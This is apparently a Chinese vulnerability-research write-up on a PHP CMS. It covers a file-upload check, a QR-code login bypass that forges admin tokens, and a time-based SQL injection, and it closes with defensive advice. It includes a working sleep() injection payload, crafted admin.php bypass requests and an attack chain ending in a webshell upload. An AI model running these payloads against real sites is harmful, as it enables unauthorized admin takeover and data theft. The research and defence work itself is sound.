一次曲折的漏洞挖掘
字数 1308 2025-08-10 08:28:29
CMS漏洞挖掘与分析:从上传点到登录绕过与SQL注入
0x00 系统架构分析
该CMS采用模块化设计,分为三个主要模块:
- admin:后台管理模块
- api:接口模块
- www:前端模块
路由分发机制:
final public function action() {
if(!$this->_iscmd){
$this->init_site();
}
$this->init_view();
$this->init_assign();
$this->init_plugin();
if($this->app_id == 'admin'){
$this->action_admin();
exit;
}
if($this->app_id == 'api'){
$this->action_api();
exit;
}
$this->action_www();
}
API模块路由通过参数c(control)和f(function)确定控制器和方法:
private function action_api() {
$ctrl = $this->get($this->config["ctrl_id"],"system");
if(!$ctrl){
$ctrl = 'index';
}
$func = $this->get($this->config["func_id"],"system");
if(!$func){
$func = 'index';
}
$this->_action($ctrl,$func);
}
0x01 文件上传漏洞分析
在api/upload_control.php中发现关键上传方法save_f():
权限控制逻辑:
- 游客(u_id=0)只能上传:jpg,png,gif,rar,zip
- 注册用户可根据cateid指定更多文件类型
上传类型控制代码:
$filetypes = $this->u_id ? $cate_rs['filetypes'] : 'jpg,png,gif,rar,zip';
$this->lib('upload')->set_type($filetypes);
潜在攻击思路:
- 上传zip文件,寻找unzip接口解压webshell
- 通过SQL注入修改数据库中的文件后缀限制
0x02 登录绕过漏洞分析
扫码登录机制
-
生成二维码 (
qrcode_f方法):- 生成随机
keyid和fid keyid用于加密数据fid作为临时文件名存储密钥- 返回加密数据和文件名
- 生成随机
-
验证流程 (
checking_f方法):- 检查两个文件存在:
$fid.'-'.$data['code'].'.php'(登录文件)$fid.'-checking.php'(检查文件)
- 解密文件内容验证用户信息
- 检查两个文件存在:
-
更新验证 (
update_f方法):- 支持两种验证方式:
- 账号密码验证
quickcode验证(加密数据)
- 支持两种验证方式:
登录绕过原理
- 利用默认
api_code加密管理员信息 - 通过
checkadm_f接口生成update_f所需的加密字符串 - 访问
update接口生成检查文件实现登录
关键代码:
// checkadm_f方法
$this->lib('token')->keyid($api_code);
$msg = $this->lib('token')->decode($content);
// ...
$keyid = $this->lib('file')->cat($file);
$this->lib('token')->keyid($keyid);
$logincode = $this->lib('token')->encode($data);
绕过步骤
- 生成admin信息加密文本:
$data = array('id'=>1, 'user'=>'admin', 'time'=>time(), 'domain'=>'目标域名');
$api_code = $this->model('config')->get_one('api_code',$this->site['id']);
$this->lib('token')->keyid($api_code);
$msg = $this->lib('token')->encode($data);
-
获取二维码请求中的
fid和content -
构造
checkadm请求:
/admin.php?c=login&f=checkadm&fid=[fid值]&content=[加密数据]
- 使用返回的
logincode构造update请求:
/admin.php?c=login&f=update&fid=[fid值]&fcode=[fcode值]&quickcode=[logincode值]
注意:实际测试中发现api_code可能不是默认值,需要进一步利用。
0x03 SQL注入漏洞分析
注入点定位
在phpxx()方法中发现动态方法调用和SQL拼接:
$func = '_'.$call_rs['type_id'];
if(!in_array($func,$this->mlist)){
return false;
}
return $this->$func($call_rs,$cache_id);
在xxx_condition方法中发现SQL拼接漏洞:
if($rs['idin']){
$tmp = explode(",",$rs['idin']);
foreach($tmp as $key=>$value){
if(!$value || !trim($value) || !intval($value)){
unset($tmp[$key]);
continue;
}
}
$condition .= " AND l.id IN(".(implode(",",$tmp)).") ";
}
注入利用条件
- 需要
type_id为arclist的数据调用 - 构造特定JSON格式的
data参数
注入Payload
data={"m_picplayer":{"_alias":"abc","idin":"1,1 and if(1,1 and sleep(7.1),1)"}}
生成的SQL语句:
AND l.id IN(1,1 and if(1,1 and sleep(4),1))
注入限制
idin参数以逗号分隔- 每个值需满足:
!$value || !trim($value) || !intval($value)为false- 不能为空
- 不能全是空格
intval()不能为0(即不能以字母开头)
0x04 完整攻击链
- 利用SQL注入获取
api_code值 - 使用
api_code加密管理员信息 - 通过登录绕过漏洞获取后台权限
- 利用后台功能上传webshell或修改文件上传限制
防御建议
-
文件上传:
- 严格限制上传文件类型
- 对压缩文件进行内容检查
-
登录机制:
- 不使用固定加密密钥
- 增加扫码登录的二次验证
-
SQL注入:
- 使用参数化查询
- 对输入进行严格过滤
-
其他:
- 定期更新系统补丁
- 最小权限原则配置服务器